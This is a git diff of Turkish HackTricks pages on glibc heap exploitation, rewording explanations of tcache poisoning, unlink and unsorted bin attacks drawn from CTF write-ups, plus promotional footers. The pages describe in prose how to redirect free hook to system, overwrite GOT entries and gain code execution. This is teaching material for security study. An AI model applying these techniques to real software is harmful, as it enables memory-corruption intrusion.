kullanılabilir. * CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html) -* **Libc bilgi sızıntısı**: Bir kullanım sonrası serbest bırakma ve çift serbest bırakma vardır. Bu yazıda yazar, küçük bir bine yerleştirilen bir parçanın adresini okuyarak libc'nin bir adresini sızdırdı. -* **Tcache saldırısı**: Bir **çift serbest bırakma** aracılığıyla bir Tcache gerçekleştirilir. Aynı parça iki kez serbest bırakılır, bu nedenle Tcache içinde parça kendisine işaret eder. Ardından, tahsis edilir, FD işaretçisi **free hook'a** işaret etmek üzere değiştirilir ve ardından tekrar tahsis edilir, böylece listedeki bir sonraki parça free hook'ta olacaktır. Ardından, bu da tahsis edilir ve `system` adresi buraya yazılabilir, böylece `"/bin/sh"` içeren bir malloc serbest bırakıldığında bir kabuk alınabilir. +* **Libc bilgi sızıntısı**: Bir kullanımdan sonra serbest bırakma ve çift serbest bırakma vardır. Bu yazıda, yazar, küçük bir kovaya yerleştirilen bir parçanın adresini okuyarak libc'in bir adresini sızdırdı. +* **Tcache saldırısı**: Bir **çift serbest bırakma** ile bir Tcache gerçekleştirilir. Aynı parça iki kez serbest bırakılır, bu nedenle Tcache içinde parça kendisine işaret eder. Ardından, tahsis edilir, FD işaretçisi **free hook**'a yönlendirilir ve ardından tekrar tahsis edilir, böylece listedeki bir sonraki parça free hook'ta olacaktır. Ardından, bu da tahsis edilir ve `system` adresi buraya yazılabilir, böylece `"/bin/sh"` içeren bir malloc serbest bırakıldığında bir kabuk alınabilir. * CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html) -* Buradaki ana zafiyet, heap'te herhangi bir adresi `free` etme kapasitesidir ve bunu belirtmek için ofsetini göstermektir. -* **Tcache indeks saldırıları**: Tcache parçasının içinde depolanan bir boyutta bir parça tahsis edip serbest bırakmak, farklı baytlarda her bir bindeki parça miktarını depoladığı için **değeri 0x100 olan bir adres oluşturacaktır**. Bu, tcache'nin her bir indeksindeki 0x100 boyutundaki parçaların bir parça oluşturmasına neden olur. -* Ardından, bu değer 0x100 boyutunda bir parça olduğu gibi görünür. Bu adresi `free` ile kötüye kullanmaya izin verecektir. Bu, o adresin tcache içindeki 0x100 boyutundaki parçaların indeksine **eklenecektir**. -* Ardından, boyutu **0x100** olan bir parça **tahsis edilir**, önceki adres bir parça olarak geri dönecek ve diğer tcache indekslerini üzerine yazmaya izin verecektir.\ -Örneğin, malloc hook adresini birine koyarak ve o indeksin boyutunda bir parça tahsis ederek calloc hook'ta bir parça alınabilir, bu da bir gadget yazmak için bir fırsat sağlar. +* Buradaki ana zayıflık, heap'te herhangi bir adresi `free` edebilme kapasitesidir. +* **Tcache indeks saldırısı**: Tcache parçasının içinde depolanan bir boyutta bir parça tahsis edip serbest bırakmak, farklı baytlarda her bir kovadaki parça miktarını depoladığı için, belirli bir indekste bir parça, değeri 0x100 olan bir adres oluşturacaktır. +* Sonra, bu değer 0x100 boyutunda bir parça olduğu gibi görünmektedir. Bu adresi `free` ile kötüye kullanmak mümkün olacaktır. Bu, o adresin 0x100 boyutundaki parça indeksine eklenmesine neden olacaktır. +* Ardından, boyutu **0x100** olan bir parça tahsis edildiğinde, önceki adres bir parça olarak geri dönecek ve diğer tcache indekslerini üzerine yazma olanağı sağlayacaktır.\ +Örneğin, malloc hook adresini birine koyarak ve o indeksin boyutunda bir parça tahsis ederek calloc hook'ta bir parça alınabilir, bu da bir one gadget yazmak için kötüye kullanılabilir. * CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html) -* Bir öncekiyle aynı zafiyet, bir ek kısıtlama ile -* **Tcache indeks saldırıları**: Önceki saldırıya benzer saldırı ancak **tcache bilgilerini içeren parçayı serbest bırakarak** daha az adımla gerçekleştirilir, bu nedenle adresi, boyutuna göre tcache indeksine eklenir ve bu nedenle o boyutta tahsis edilebilir ve tcache parça bilgilerini bir parça olarak almak mümkün olur, bu da bir indeksin adresini free hook olarak eklemeyi, tahsis etmeyi ve üzerine bir gadget yazmayı mümkün kılar. -* [**Matematik Kapısı. HTB Siber Kıyamet CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) -* `fd` işaretçisine bir sayı eklemek için **Serbest Bırakmadan Sonra Yazma**. +* Bir öncekiyle aynı zayıflık ve bir ek kısıtlama +* **Tcache indeks saldırısı**: Bir önceki saldırıya benzer saldırı ancak **tcache bilgilerini içeren parçayı serbest bırakarak** daha az adımda gerçekleştirilir, bu nedenle boyutuna göre tcache indeksine adresi eklenir ve bu boyutta tahsis edilebilir ve tcache parça bilgileri bir parça olarak alınabilir, bu da bir indeksin adresini free hook olarak eklemeyi, tahsis etmeyi ve üzerine bir one gadget yazmayı mümkün kılar. +* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) +* `fd` işaretçisine bir sayı eklemek için **Write After Free**. * Bu zorlukta birçok **heap feng-shui** gereklidir. Yazı, **Tcache serbest listesinin başını kontrol etmenin oldukça kullanışlı olduğunu** göstermektedir. * `stdout` üzerinden **Glibc sızıntısı** (FSOP). * **Tcache zehirlenmesi** ile keyfi yazma yetkisi elde etmek. -* **💬 [**Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek PR'ler oluşturarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına paylaşın.** +* **💬 [**Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** adresinden takip edin.** +* **Hacking püf noktalarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.** diff --git a/binary-exploitation/libc-heap/unlink-attack.md b/binary-exploitation/libc-heap/unlink-attack.md index 297152c81..a87293ebb 100644 --- a/binary-exploitation/libc-heap/unlink-attack.md +++ b/binary-exploitation/libc-heap/unlink-attack.md @@ -1,22 +1,23 @@ # Unlink Saldırısı +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'ı Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Bu saldırı keşfedildiğinde genellikle bir WWW (Write What Where) izin veriyordu, ancak bazı **kontroller eklenmiş** ve saldırının yeni versiyonu daha ilginç, daha karmaşık ve **anlamsız** hale getirilmiştir. +Bu saldırı keşfedildiğinde genellikle bir WWW (Write What Where) izin veriyordu, ancak bazı **kontroller eklenmiş** ve saldırının yeni sürümü daha ilginç, daha karmaşık ve **anlamsız** hale getirilmiştir. ### Kod Örneği: @@ -89,37 +90,37 @@ return 0; ``` -* Saldırı, tcaches kullanıldığında çalışmaz (2.26 sonrası) +* Saldırı, tcaches kullanıldığında çalışmaz (2.26'dan sonra) ### Amaç Bu saldırı, **bir parçanın işaret ettiği konumu kendisinden 3 adres öncesine işaret edecek şekilde değiştirmeyi** sağlar. Eğer bu yeni konum (işaretçinin bulunduğu yerin çevresi) ilginç şeyler içeriyorsa, diğer kontrol edilebilir tahsisler / yığın gibi, bunları okuyup/üzerine yazarak daha büyük zarara neden olmak mümkündür. -* Eğer bu işaretçi yığında bulunuyorsa, çünkü şimdi kendisinden 3 adres öncesine işaret ediyor ve kullanıcı muhtemelen bunu okuyup değiştirebiliyorsa, yığından hassas bilgiler sızdırmak veya hatta geri dönüş adresini (belki) canary'ye dokunmadan değiştirmek mümkün olacaktır. -* CTF örneklerinde, bu işaretçi diğer tahsislere işaret eden bir işaretçi dizisinde bulunmaktadır, bu nedenle 3 adres öncesine işaret etmesi ve okuyup yazabilmesi durumunda diğer işaretçileri başka adreslere işaret etmesi mümkün olacaktır. Potansiyel olarak kullanıcı diğer tahsisleri de okuyup/yazabildiği için bilgi sızdırabilir veya rastgele konumlara yeni adresler üzerine yazabilir (örneğin GOT'ta). +* Eğer bu işaretçi yığında bulunuyorsa, çünkü şimdi kendisinden 3 adres önce işaret ediyor ve kullanıcı potansiyel olarak bunu okuyup değiştirebiliyorsa, yığından hassas bilgiler sızdırmak veya hatta geri dönüş adresini (belki) canary'ye dokunmadan değiştirmek mümkün olacaktır +* CTF örneklerinde, bu işaretçi diğer tahsislere işaret eden bir işaretçi dizisinde bulunmaktadır, bu nedenle 3 adres öncesine işaret etmesi ve okuyup yazabilmesi sayesinde diğer işaretçileri başka adreslere işaret etmesi mümkün olacaktır. Potansiyel olarak kullanıcı diğer tahsisleri de okuyup/yazabildiği için bilgi sızdırabilir veya rastgele konumlara yeni adresler üzerine yazabilir (örneğin GOT'ta). ### Gereksinimler -* Bir bellekte (örneğin yığın) bazı kontrol sahibi olmak, bazı özniteliklere değerler vererek birkaç parça oluşturmak için. +* Bir bellekte (örneğin yığın) bazı kontrol sahibi olmak için bazı özelliklere değerler vererek bir çift parça oluşturmak. * Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı. ### Saldırı -* Birkaç parça bulunmaktadır (parça1 ve parça2) +* Bir çift parça bulunmaktadır (parça1 ve parça2) * Saldırgan parça1'in içeriğini ve parça2'nin başlıklarını kontrol eder. * Parça1'de saldırgan sahte bir parça yapısını oluşturur: -* Korumaları atlatmak için `boyut` alanının doğru olduğundan emin olur, böylece `corrupted size vs. prev_size while consolidating` hatası alınmaz +* Korumaları atlamak için `boyut` alanının doğru olduğundan emin olur, böylece `corrupted size vs. prev_size while consolidating` hatası alınmaz * ve sahte parçanın `fd` ve `bk` alanları, sahte parçanın depolandığı yerin -3 ve -2 ofsetlerinde işaret eder duruma getirilir, böylece `sahte_parça->fd->bk` ve `sahte_parça->bk->fd` gerçek parça1 adresinin bulunduğu bellek (yığın) konumuna işaret eder:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

* Parça2'nin başlıkları değiştirilir ve önceki parçanın kullanılmadığını ve içerdiği sahte parçanın boyutunun boyut olduğunu belirtir. -* İkinci parça serbest bırakıldığında, bu sahte parçanın bağlantısı kesilir: +* İkinci parça serbest bırakıldığında, bu sahte parçanın bağlantısının kesildiği olur: * `sahte_parça->fd->bk` = `sahte_parça->bk` * `sahte_parça->bk->fd` = `sahte_parça->fd` * Daha önce `sahte_parça->fd->bk` ve `sahte_parça->bk->fd`'nin aynı yere işaret ettiği sağlanmıştı (parça1'in depolandığı yığın konumu, bu nedenle geçerli bir bağlı liste idi). Çünkü **her ikisi de aynı yere işaret ediyor**, sadece sonuncusu (`sahte_parça->bk->fd = sahte_parça->fd`) **etkili** olacaktır. -* Bu, yığında parça1 işaretçisini yığında kendisinden 3 adres önce depolanan adrese (veya baytlara) **üzerine yazacaktır**. -* Dolayısıyla, bir saldırgan parça1'in içeriğini kontrol edebilirse, yığının içine **yazabilecek**, potansiyel olarak canary'yi atlayarak geri dönüş adresini değiştirebilecek ve yerel değişkenlerin değerlerini ve işaretçilerini değiştirebilecektir. Hatta yine parça1'in yığında depolanan adresini saldırgan tekrar içeriği kontrol edebilirse farklı bir konuma işaret edecek şekilde değiştirebilir, böylece herhangi bir yere yazabilir. +* Bu, yığında parça1 işaretçisini yığında depolanan adresin (veya baytların) 3 adres öncesindeki adrese **üzerine yazacaktır**. +* Dolayısıyla, bir saldırgan parça1'in içeriğini kontrol edebilirse, yığının içine **yazabilecek** ve potansiyel olarak canary'yi atlayarak geri dönüş adresini değiştirme ve yerel değişkenlerin değerlerini ve işaretçilerini değiştirme yeteneğine sahip olacaktır. Hatta yine parça1'in yığında depolanan adresini saldırgan tekrar içeriği kontrol edebilirse farklı bir konuma işaret edecek şekilde değiştirebilir, böylece parça1'in içeriğini tekrar kontrol edebilirse herhangi bir yere yazabilir. * Bu, **adreslerin yığında depolandığı için** mümkün oldu. Risk ve sömürü, sahte parçanın adreslerinin **nerede depolandığına bağlı olabilir**.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

@@ -129,22 +130,23 @@ Bu saldırı, **bir parçanın işaret ettiği konumu kendisinden 3 adres önces * [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit) * CTF'de bile bir unlink saldırısı bulmak garip olabilir ancak bu saldırının kullanıldığı bazı yazılımlar bulunmaktadır: * CTF örneği: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html) -* Bu örnekte yığın yerine malloc edilmiş adreslerin bir dizisi bulunmaktadır. Unlink saldırısı, bir parça buraya tahsis edebilmek için gerçekleştirilir, bu nedenle malloc edilmiş adreslerin dizisinin işaretçilerini kontrol etmek mümkün olur. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeyi sağlayan başka bir işlevsellik vardır, bu da adresleri GOT'a işaret etmeye, işlev adreslerini değiştirmeye ve sızıntılar ve RCE elde etmeye olanak tanır. +* Bu örnekte yığın yerine malloc ile oluşturulmuş adreslerin bir dizisi bulunmaktadır. Unlink saldırısı, bir parça buraya tahsis edebilmek için gerçekleştirilir, bu nedenle malloc ile oluşturulmuş adreslerin işaretçilerini kontrol etmek mümkün olur. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeyi sağlayan başka bir işlevsellik vardır, bu da adresleri GOT'a işaret etmeye, işlev adreslerini değiştirmeye ve sızıntılar ve RCE elde etmeye olanak tanır. * Başka bir CTF örneği: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html) * Önceki örnekte olduğu gibi, tahsis edilen adreslerin bir dizisi bulunmaktadır. Bir unlink saldırısı gerçekleştirilerek ilk tahsis edilen adresin dizinin başlangıcından birkaç konum öncesine işaret etmesi mümkün olur ve ardından bu tahsis edilen adres yeni konumda üzerine yazılır. Bu nedenle, diğer tahsislerin işaretçileri GOT'a işaret etmek üzere üzerine yazılabilir, libc sızıntısı almak için yazdırılabilir ve ardından atoi GOT'u bir gadget adresine yazmak için atoi GOT üzerine yazılabilir. -* Unlink saldırısına oldukça benzer bir zafiyeti istismar eden özel malloc ve free işlevleriyle CTF örneği: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) +* Unlink saldırısına oldukça benzer bir zayıflığı istismar eden özel malloc ve free işlevleri ile CTF örneği: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) * Özel malloc'un FD ve BK işaretçilerini kontrol etmeyi sağlayan bir taşma vardır ve bu (özel) serbest bırakılacak. Dahası, yığının exec biti vardır, bu nedenle bir yığın adresi sızdırmak ve GOT'tan bir işlevi bir yığın parçasına bir kabuk kodu ile işaret etmek mümkündür. +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/unsorted-bin-attack.md b/binary-exploitation/libc-heap/unsorted-bin-attack.md index 95bd23da2..84c68349e 100644 --- a/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -1,61 +1,62 @@ # Sıralanmamış Bin Saldırısı +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Sıralanmamış bir liste, bir parçanın `bk` adresine `sıralanmamış parçalar (av)` adresini yazabilmektedir. Bu nedenle, bir saldırgan bir parçanın içindeki `bk` işaretçisinin adresini değiştirebilirse, bu adresi rastgele bir adrese yazabilir ve bu, bir Glibc adresini sızdırmak veya bazı savunmaları atlamak için faydalı olabilir. +Sıralanmamış bir liste, bir parçanın `bk` adresindeki `sıralanmamış_parçalar (av)` adresini yazabilmektedir. Bu nedenle, bir saldırgan bir parçanın içindeki `bk` işaretçisinin adresini değiştirebilirse, bu adresi **herhangi bir adrese yazabilir** ve bu da Glibc adreslerini sızdırmaya veya bazı savunmaları atlamaya yardımcı olabilir. -Bu saldırı temelde, bir rastgele adreste büyük bir sayı **ayarlamayı** sağlar. Bu büyük sayı, bir heap adresi veya bir Glibc adresi olabilir. Tipik bir hedef, **`global_max_fast`**'ın daha büyük boyutlarda hızlı bin parçaları oluşturmasına izin vermek (ve sıralanmamış bir bin saldırısından hızlı bir bin saldırısına geçmek). +Bu saldırı temelde **bir büyük sayıyı bir keyfi adrese ayarlamayı** sağlar. Bu büyük sayı bir adres olabilir, bu adres bir heap adresi veya bir Glibc adresi olabilir. Tipik bir hedef, **`global_max_fast`**'ın daha büyük boyutlarda hızlı parça parçaları oluşturmasına izin vermek (ve sıralanmamış bir bin saldırısından hızlı bir bin saldırısına geçmek). {% hint style="success" %} -[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) adresinde sağlanan örneğe bakarak ve 0x400 ve 0x500 yerine 0x4000 ve 0x5000 kullanarak (Tcache'i önlemek için) **günümüzde** hata **`malloc(): sıralanmamış çift bağlantılı liste bozuldu`** tetiklenir. +[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) adresinde sağlanan örneğe bakıldığında ve 0x400 ve 0x500 yerine 0x4000 ve 0x5000 kullanıldığında (Tcache'i önlemek için) **günümüzde** hata **`malloc(): sıralanmamış çift bağlantılı liste bozulmuş`** tetiklenmektedir. -Bu nedenle, bu sıralanmamış bin saldırısı artık (diğer kontroller arasında) çift bağlantılı listeyi düzeltme yeteneğine de sahip olmalıdır, böylece bu, `victim->bk->fd == victim` veya `victim->fd == av (arena)` olmalıdır, yani yazmak istediğimiz adresin, sahte parçanın `fd` konumunda olması ve sahte parçanın `fd`nin arenaya işaret etmesi gerekmektedir. +Bu nedenle, bu sıralanmamış bin saldırısı artık (diğer kontroller arasında) çift bağlantılı listeyi düzeltme yeteneğine de sahip olmalıdır, böylece bu, `victim->bk->fd == victim` veya `victim->fd == av (arena)` olmamalıdır, bu da yazmak istediğimiz adresin `fd` konumunda sahte parçanın adresini ve sahte parçanın `fd`'sinin arenaya işaret etmesi gerektiği anlamına gelir. {% endhint %} {% hint style="danger" %} -Bu saldırı sıralanmamış binleri bozar (bu nedenle küçük ve büyükleri de). Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsis yapmalıyız veya program çöker.** +Bu saldırı sıralanmamış bin'i (dolayısıyla küçük ve büyük olanı da) bozar. Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsis yapmalıyız veya program çökecektir.** -Bu durumda **`global_max_fast`**'ın üzerine yazılması bu durumda yardımcı olabilir, hızlı binin tüm diğer tahsislerle ilgilenebileceğine güvenerek, saldırı tamamlandığında. +**`global_max_fast`**'ın üzerine yazma, hızlı binin tüm diğer tahsislerle ilgilenebileceğine güvenmek bu durumda yardımcı olabilir ve saldırı tamamlandığında bayrağı almayı mümkün kılar. {% endhint %} -[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) tarafından sağlanan kod bunu çok iyi açıklar, ancak malloc'ları Tcache'e sona ermeyecek kadar büyük bir bellek tahsis etmek için değiştirirseniz, önce bahsedilen hata ortaya çıkar ve bu teknik engellenir: **`malloc(): sıralanmamış çift bağlantılı liste bozuldu`** +[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) tarafından sağlanan kod bunu çok iyi açıklar, ancak malloc'ları Tcache'e sona ermemesi için yeterince büyük bellek ayırmak için değiştirirseniz, önce bahsedilen hata ortaya çıkar ve bu tekniği engeller: **`malloc(): sıralanmamış çift bağlantılı liste bozulmuş`** ## Sıralanmamış Bin Bilgi Sızdırma Saldırısı -Bu aslında çok temel bir kavramdır. Sıralanmamış binlerdeki parçaların işaretçilere sahip olacağı. Sıralanmamış bindeki ilk parça aslında **`fd`** ve **`bk`** bağlantılarını **ana arenanın bir kısmına (Glibc)** işaret edecektir.\ -Bu nedenle, bir parçayı sıralanmamış bir bine koyabilir ve onu okuyabilirsiniz (kullanımdan sonra serbest bırakma) veya **en azından işaretçilerden birini üzerine yazmadan tekrar tahsis edebilir** ve ardından **okuyabilirsiniz**, bir **Glibc bilgi sızıntısı** elde edebilirsiniz. +Bu aslında çok temel bir kavramdır. Sıralanmamış bindeki parçaların işaretçilere sahip olacağı. Sıralanmamış bindeki ilk parça aslında **`fd`** ve **`bk`** bağlantılarını **ana arenanın bir kısmına (Glibc)** işaret edecektir.\ +Bu nedenle, bir parçayı sıralanmamış bir bine yerleştirebilir ve onu okuyabilirsiniz (kullanımdan sonra serbest bırakın) veya **en azından işaretçilerden birini üzerine yazmadan tekrar tahsis edebilir ve ardından** okuyabilirsiniz, bir **Glibc bilgi sızıntısı** elde edebilirsiniz. -Bu yazıda kullanılan benzer bir [**saldırı**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), 4 parçalı bir yapıyı (A, B, C ve D - D yalnızca üst parçayla birleşmeyi önlemek için) kötüye kullanmaktı, böylece B'de bir null bayt taşması kullanılarak C'nin B'nin kullanılmadığını belirtmesi sağlandı. Ayrıca, B'de `prev_size` verisi değiştirildi, böylece boyut, B'nin boyutu yerine A+B oldu.\ +Bu yazıda kullanılan benzer bir [**saldırı**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), 4 parçalı bir yapıyı (A, B, C ve D - D yalnızca üst parçayla birleşmeyi önlemek için) kötüye kullanmaktı, böylece B'de bir null bayt taşması kullanılarak C'nin B'nin kullanılmadığını belirtmesi sağlandı. Ayrıca, B'de `prev_size` verisi değiştirildi, böylece boyut B'nin boyutu olmak yerine A+B oldu.\ Ardından C serbest bırakıldı ve A+B ile birleştirildi (ancak B hala kullanımda idi). A boyutunda yeni bir parça tahsis edildi ve ardından sızdırılan libc adresleri B'ye yazıldı ve oradan sızdırıldı. ## Referanslar ve Diğer Örnekler * [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap) -* Amaç, bir global değişkeni 4869'dan büyük bir değerle üzerine yazmaktır, böylece bayrağı almak mümkün olur ve PIE etkin değildir. -* Rastgele boyutlarda parçalar oluşturulabilir ve istenilen boyutta bir bellek taşması vardır. +* Global bir değişkenin değeri 4869'dan büyük bir değerle üzerine yazılması hedeflenir, bu sayede bayrağı almak mümkün olur ve PIE etkin değildir. +* Keyfi boyutlarda parçalar oluşturulabilir ve istenen boyutta bir heap taşması vardır. * Saldırı, 3 parça oluşturarak başlar: taşmayı kötüye kullanmak için chunk0, taşmayla karşılaşacak chunk1 ve önceki parçaların birleşmesini önlemek için chunk2. * Ardından, chunk1 serbest bırakılır ve chunk0 taşar, böylece chunk1'in `bk` işaretçisi şuna işaret eder: `bk = magic - 0x10` * Ardından, chunk1 ile aynı boyutta chunk3 tahsis edilir, bu da sıralanmamış bin saldırısını tetikler ve global değişkenin değerini değiştirir, bayrağı almayı mümkün kılar. * 